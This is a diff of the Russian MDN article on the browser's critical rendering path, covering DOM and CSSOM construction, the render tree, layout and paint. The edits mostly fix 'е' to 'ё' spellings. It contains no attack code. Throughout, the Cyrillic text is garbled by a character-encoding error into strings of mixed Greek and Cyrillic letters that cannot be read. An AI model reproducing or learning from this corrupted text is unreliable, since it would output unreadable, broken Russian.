ΠΌΠΎΠ΄Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree). Компоновка (layout) опрСдСляСт Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΈ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π½Π° страницС. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° - пиксСли ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π° экранС.</p>
<p>ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡ критичСских этапов Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ врСмя Π΄ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π°. ПониманиС ΠΈ оптимизация этих этапов Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ Π²Π°ΠΆΠ½Ρ‹ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ с Π½ΡƒΠΆΠ½ΠΎΠΉ частотой ΠΊΠ°Π΄Ρ€ΠΎΠ² (60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду, fps) ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ, ΠΏΠ»Π°Π²Π½Ρ‹ΠΉ интСрфСйс.</p>
@@ -15,21 +15,21 @@ translation_of: Web/Performance/Critical_rendering_path
<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Web-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя запросы ΠΊ сСрвСру, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ, парсинг ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ скриптов, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³, ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΡƒ ΠΈ отрисовку пиксСлСй.Β </p>
-<p>Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π²Π΅Π±-страницы ΠΈΠ»ΠΈ прилоТСния начинаСтся с запроса HTML. Π‘Π΅Ρ€Π²Π΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ HTML Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ (headers) ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ HTML, прСобразуя ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π±Π°ΠΉΡ‚Ρ‹ Π² DOM-Π΄Π΅Ρ€Π΅Π²ΠΎ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ создаСт Π½ΠΎΠ²Ρ‹ΠΉ запрос ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ ссылки Π½Π° внСшниС рСсурсы, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ Ρ„Π°ΠΉΠ»Ρ‹ стилСй, скриптов ΠΈΠ»ΠΈ ссылки Π½Π° изобраТСния. НСкоторыС запросы ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌΠΈ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ° Ρ‚Π°ΠΊΠΈΠ΅ запросы Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ - Π΄Ρ€ΡƒΠ³ΠΈΠ΅ запросы приостанавливаСтся. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ HTML ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ DOM Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° запрос Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ HTML Π½Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ. ПослС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ парсинга DOM, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ конструируСт CSS модСль. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ эти ΠΌΠΎΠ΄Π΅Π»ΠΈ сформированы, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ строит Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree), Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ вычисляСт стили для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ элСмСнта страницы. ПослС формирования Π΄Π΅Ρ€Π΅Π²Π° происходит ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° (layout), которая опрСдСляСт ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ элСмСнтов этого Π΄Π΅Ρ€Π΅Π²Π°. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ этап Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ - страница рСндСрится. Или "отрисовываСтся" (paint) Π½Π° экранС.</p>
+<p>Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π²Π΅Π±-страницы ΠΈΠ»ΠΈ прилоТСния начинаСтся с запроса HTML. Π‘Π΅Ρ€Π²Π΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ HTML Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ (headers) ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ HTML, прСобразуя ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π±Π°ΠΉΡ‚Ρ‹ Π² DOM-Π΄Π΅Ρ€Π΅Π²ΠΎ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ создаёт Π½ΠΎΠ²Ρ‹ΠΉ запрос ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ ссылки Π½Π° внСшниС рСсурсы, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ Ρ„Π°ΠΉΠ»Ρ‹ стилСй, скриптов ΠΈΠ»ΠΈ ссылки Π½Π° изобраТСния. НСкоторыС запросы ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌΠΈ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ° Ρ‚Π°ΠΊΠΈΠ΅ запросы Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ - Π΄Ρ€ΡƒΠ³ΠΈΠ΅ запросы приостанавливаСтся. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ HTML ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ DOM Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° запрос Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ HTML Π½Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ. ПослС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ парсинга DOM, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ конструируСт CSS модСль. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ эти ΠΌΠΎΠ΄Π΅Π»ΠΈ сформированы, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ строит Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree), Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ вычисляСт стили для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ элСмСнта страницы. ПослС формирования Π΄Π΅Ρ€Π΅Π²Π° происходит ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° (layout), которая опрСдСляСт ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ элСмСнтов этого Π΄Π΅Ρ€Π΅Π²Π°. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ этап Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ - страница рСндСрится. Или "отрисовываСтся" (paint) Π½Π° экранС.</p>
<h3 id="Document_Object_Model">Document Object Model</h3>
<p>ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅ DOM ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎ. ΠžΡ‚Π²Π΅Ρ‚ Π² Π²ΠΈΠ΄Π΅ HTML прСвращаСтся Π² Ρ‚ΠΎΠΊΠ΅Π½Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ Π² ΡƒΠ·Π»Ρ‹Β (nodes), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ DOM Π΄Π΅Ρ€Π΅Π²ΠΎ. ΠŸΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΉ ΡƒΠ·Π΅Π» начинаСтся с startTag-Ρ‚ΠΎΠΊΠ΅Π½Π° ΠΈ заканчиваСтся Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠΌ endTag. Π£Π·Π»Ρ‹ содСрТат всю Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± HTML элСмСнтС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ этому ΡƒΠ·Π»Ρƒ. Π£Π·Π»Ρ‹ (nodes) связаны с Render Tree с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ²: Ссли ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎΒ Π½Π°Π±ΠΎΡ€ startTag ΠΈ endTag-Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ² появляСтся ΠΌΠ΅ΠΆΠ΄Ρƒ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ², ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΡƒΠ·Π΅Π» (node) Π²Π½ΡƒΡ‚Ρ€ΠΈ ΡƒΠ·Π»Π° (node), Ρ‚ΠΎ Π΅ΡΡ‚ΡŒΒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΡŽ Π΄Π΅Ρ€Π΅Π²Π° DOM.</p>
-<p>Π§Π΅ΠΌ большС количСство ΡƒΠ·Π»ΠΎΠ² (node) ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ дольшС происходит Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ DOM tree, Π° Π·Π½Π°Ρ‡ΠΈΡ‚ дольшС происходит ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° критичСских этапов Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°.Β Π˜Π·ΠΌΠ΅Ρ€ΡΠΉΡ‚Π΅! НСсколько Π»ΠΈΡˆΠ½ΠΈΡ… ΡƒΠ·Π»ΠΎΠ² (node) Π½Π΅ ΡΠ΄Π΅Π»Π°ΡŽΡ‚ ΠΏΠΎΠ³ΠΎΠ΄Ρ‹, Π½ΠΎ <a href="https://en.wiktionary.org/wiki/divitis">divitis</a>Β ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ подвисаниям.</p>
+<p>Π§Π΅ΠΌ большС количСство ΡƒΠ·Π»ΠΎΠ² (node) ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ дольшС происходит Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ DOM tree, Π° Π·Π½Π°Ρ‡ΠΈΡ‚ дольшС происходит ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° критичСских этапов Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°.Β Π˜Π·ΠΌΠ΅Ρ€ΡΠΉΡ‚Π΅! НСсколько Π»ΠΈΡˆΠ½ΠΈΡ… ΡƒΠ·Π»ΠΎΠ² (node) Π½Π΅ ΡΠ΄Π΅Π»Π°ΡŽΡ‚ ΠΏΠΎΠ³ΠΎΠ΄Ρ‹, Π½ΠΎ <a href="https://en.wiktionary.org/wiki/divitis">divitis</a>Β ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ подвисаниям.</p>
<h3 id="CSS_Object_Model">CSS Object Model</h3>
-<p>DOM нСсСт Π² сСбС всё содСрТимоС страницы.Β CSSOM содСрТит всС стили страницы, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ DOM. CSSOM ΠΏΠΎΡ…ΠΎΠΆ Π½Π°Β DOM, Π½ΠΎ всё ΠΆΠ΅ отличаСтся. Если Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ DOM ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎ, CSSOM - Π½Π΅Ρ‚. CSS Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Ρ€Π΅Π½Π΄Π΅Ρ€: Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ страницы Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ ΠΈ Π½Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ всС CSS-ΠΏΡ€Π°Π²ΠΈΠ»Π°. CSS Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ пСрСзаписаны, Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ построСния CSSOM, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Π² отсутствии Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ.</p>
+<p>DOM нСсёт Π² сСбС всё содСрТимоС страницы.Β CSSOM содСрТит всС стили страницы, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ DOM. CSSOM ΠΏΠΎΡ…ΠΎΠΆ Π½Π°Β DOM, Π½ΠΎ всё ΠΆΠ΅ отличаСтся. Если Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ DOM ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎ, CSSOM - Π½Π΅Ρ‚. CSS Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Ρ€Π΅Π½Π΄Π΅Ρ€: Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ страницы Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ ΠΈ Π½Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ всС CSS-ΠΏΡ€Π°Π²ΠΈΠ»Π°. CSS Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ пСрСзаписаны, Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ построСния CSSOM, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Π² отсутствии Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ.</p>
-<p>Π£ CSS ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ свои ΠΏΡ€Π°Π²ΠΈΠ»Π° Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ². ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ C Π² CSS ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ "Cascade". CSS ΠΏΡ€Π°Π²ΠΈΠ»Π° Π½ΠΈΡΠΏΠ°Π΄Π°ΡŽΡ‚ каскадом. Π˜Π½Ρ‹ΠΌΠΈ словами, ΠΊΠΎΠ³Π΄Π° парсСр ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ Ρ‚ΠΎΠΊΠ΅Π½Ρ‹ Π² ΡƒΠ·Π»Ρ‹ (nodes), Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΡƒΠ·Π»Ρ‹ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ стили ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΡ…. Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° нСдоступна для CSS, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π°Π±ΠΎΡ€ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ…Β ΠΏΡ€Π°Π²ΠΈΠ» ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль CSS (CSSOM) строится ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ парсинга CSS, Π½ΠΎ ΠΎΠ½Π° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована для построСния Π΄Π΅Ρ€Π΅Π²Π° Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΈΠ· ΡƒΠ·Π»ΠΎΠ² Π΄Π΅Ρ€Π΅Π²Π° Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ Π½Π° экранС. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π»ΠΈΡˆΠ½Π΅ΠΌΡƒ Π²Ρ‹Π·ΠΎΠ²Ρƒ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ ΠΈ пСрСрасчСта стилСй.</p>
+<p>Π£ CSS ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ свои ΠΏΡ€Π°Π²ΠΈΠ»Π° Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ². ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ C Π² CSS ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ "Cascade". CSS ΠΏΡ€Π°Π²ΠΈΠ»Π° Π½ΠΈΡΠΏΠ°Π΄Π°ΡŽΡ‚ каскадом. Π˜Π½Ρ‹ΠΌΠΈ словами, ΠΊΠΎΠ³Π΄Π° парсСр ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ Ρ‚ΠΎΠΊΠ΅Π½Ρ‹ Π² ΡƒΠ·Π»Ρ‹ (nodes), Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΡƒΠ·Π»Ρ‹ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ стили ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΡ…. Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° нСдоступна для CSS, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π°Π±ΠΎΡ€ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ…Β ΠΏΡ€Π°Π²ΠΈΠ» ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль CSS (CSSOM) строится ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ парсинга CSS, Π½ΠΎ ΠΎΠ½Π° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована для построСния Π΄Π΅Ρ€Π΅Π²Π° Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΈΠ· ΡƒΠ·Π»ΠΎΠ² Π΄Π΅Ρ€Π΅Π²Π° Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ Π½Π° экранС. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π»ΠΈΡˆΠ½Π΅ΠΌΡƒ Π²Ρ‹Π·ΠΎΠ²Ρƒ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ ΠΈ пСрСрасчёта стилСй.</p>
